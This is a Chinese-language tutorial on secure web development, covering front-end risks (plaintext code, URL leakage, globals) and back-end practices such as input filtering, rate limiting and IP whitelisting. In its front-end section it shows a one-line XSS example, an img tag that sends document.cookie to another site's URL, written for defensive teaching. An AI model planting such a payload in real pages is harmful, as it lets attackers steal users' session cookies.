WEB 应用安全开发

黑客大部分利用的是软件的漏洞，所以我们要尽可能在开发的时候切断所有可能被利用的地方。要想开发出安全的系统，我们需要熟悉黑客进攻的模式和防守的策略。

1. 简介

重视安全最好的策略是将风险最大化，开发的时候要换位思考，如果我是黑客我是不是有办法绕过当前的限制。在进行具体场景讲解前，先来了解一些关键词。

1.1 关键名词

同域： 相同域名，端口相同，协议相同，缺一不可。
跨域： 浏览器从一个域名的网页去请求另一个域名的资源时，域名、端口、协议至少有一个不相同，就是跨域。
ECMAScript： 简称（ES）JavaScript 所遵循的语法标准。
W3C： 即万维网联盟，最重要的工作是发展 Web 规范，这些规范描述了 Web 的通信协议（比如 HTML 和 XHTML）和其他的构建模块。

1.2 安全领域的参与者

把握安全领域就要把握 Web 流程中的参与者，除了攻击者外其它角色均需要提供安全的解决方案。从大的方向有下面几大角色，没有谁是绝对安全的。

2. 前端安全开发

前端的安全主要围绕 W3C 进行，同时浏览器的漏洞和 Http 协议本身的缺陷也会造成影响。

2.1 明文防范

W3C 三个核心对象：HTML，JavaScript，CSS 分别负责了网站的内容结构，动作交互逻辑，展示样式。这么核心的东西在客户都是很容易查看的。虽然 JavaScript 可以混淆加密，但是最终他是需要被浏览器解析的，所以肯定是有一套固定的规范，黑客同样可以轻易解密。
明文也就算了，用户居然可以任意更改上面 W3C 的核心对象，并产生不同的效果，真的是危机四伏。

不要异想天开的在前端与后台约定某个加密算法，这样算法一下子就泄露了；
对于前端的输入都要保持怀疑，重要的数据如果后端允许，需要自行生成或者加以校验；
虽然客户端的一览无遗，但是还是要尽量使用 Https 协议，保证传输的过程是加密的；
需要权限的操作，即使前端按钮隐藏了，后端的接口也需要重新鉴权下，很可能客户端自己修改 CSS 使按钮显示出来了；

2.2 URL 导致的泄露问题

前端任何地方带有 URL 的都要引起警惕，主要可能带来下面安全问题：

构建系统的某些接口等用户登录后触发；
调用别的网站，将该作用域下的 Cookie 传输出去。

常见隐藏点：
图片

<img src='http:xxx'>

css 样式

background:url(bgimage.gif)

表单 action 地址，或者注入隐藏的 input 参数

<form action=''>
<input type="hidden" name="field＿name" value="value">

2.3 window 下的全局变量

Window 下面带了很多可以直接使用的全局变量，要警惕危险。

图片描述

危险点：利用 window.document 获取本域 cookie 然后传输到黑客的网站

<img src='别的网站URL?param='+document.cookie >

容易受跨站脚本攻击利用

window.location.href = 【该值最好不要是动态的，容易被注入】

3. 后端安全开发

3.1 规范问题

权威机构平台漏洞订阅，并及时做出修改。
开发规范的遵守
- 学习相关开发规范手册。
- IDEA 安装实时的代码扫描插件，有问题的地方及时更正。
代码 review 实践。
重要参数不要轻易在日志中输出。
代码泄露
- 代码不要上传网上。
- 数据库，签名算法，密钥值要重要保管，线上不相关的人不要泄露。
重要账号不要为了一时方便提供给开发，测试等不相干人员，如果有也要及时修改密码。

3.2 设计问题

类似活动的抽奖，优惠卷领取逻辑不够严谨，可能被人褥羊毛；
登录没有限制次数，容易被暴力破解；
短信验证没有设置重发时间，容易被利用做短信轰炸。

3.3 信任问题

同域：检查请求头的 ref 参数，要么是同域的，要么是信任的才响应。
请求参数
- 不要太信任前端参数，重要值后台能获取的尽量自己获取。
- 请求的所有参数都做下 XSS/ SQL 注入的关键字符的过滤。
权限：涉及到权限的后端都要自己校验，不要说前端按钮隐藏了就可以了。

3.4 增加风控逻辑

用户的账号异地登陆，可以做出些限制或提醒。
某个用户购买的某个商品或者领取的优惠卷异常多，做出限制。
通过 AI 智能模型，对用户行为，流量数据进行检测，模型异常就做出限制。

3.5 网络策略限制

数据库，Redis，ES，等需要设置访问的 IP 白名单。
对服务器进流量和出流量端口做限制。
架构上面尽量隐藏内部服务等地址。
数据库和应用最好分开，以免被一锅端。

4. 小结

安全问题需要经验累积，软件开发作为一个团队协作的工作，大家经验水平不同，所以尽量在团队中分享安全开发的相关知识，技术 Leader 定期 Review 组员代码。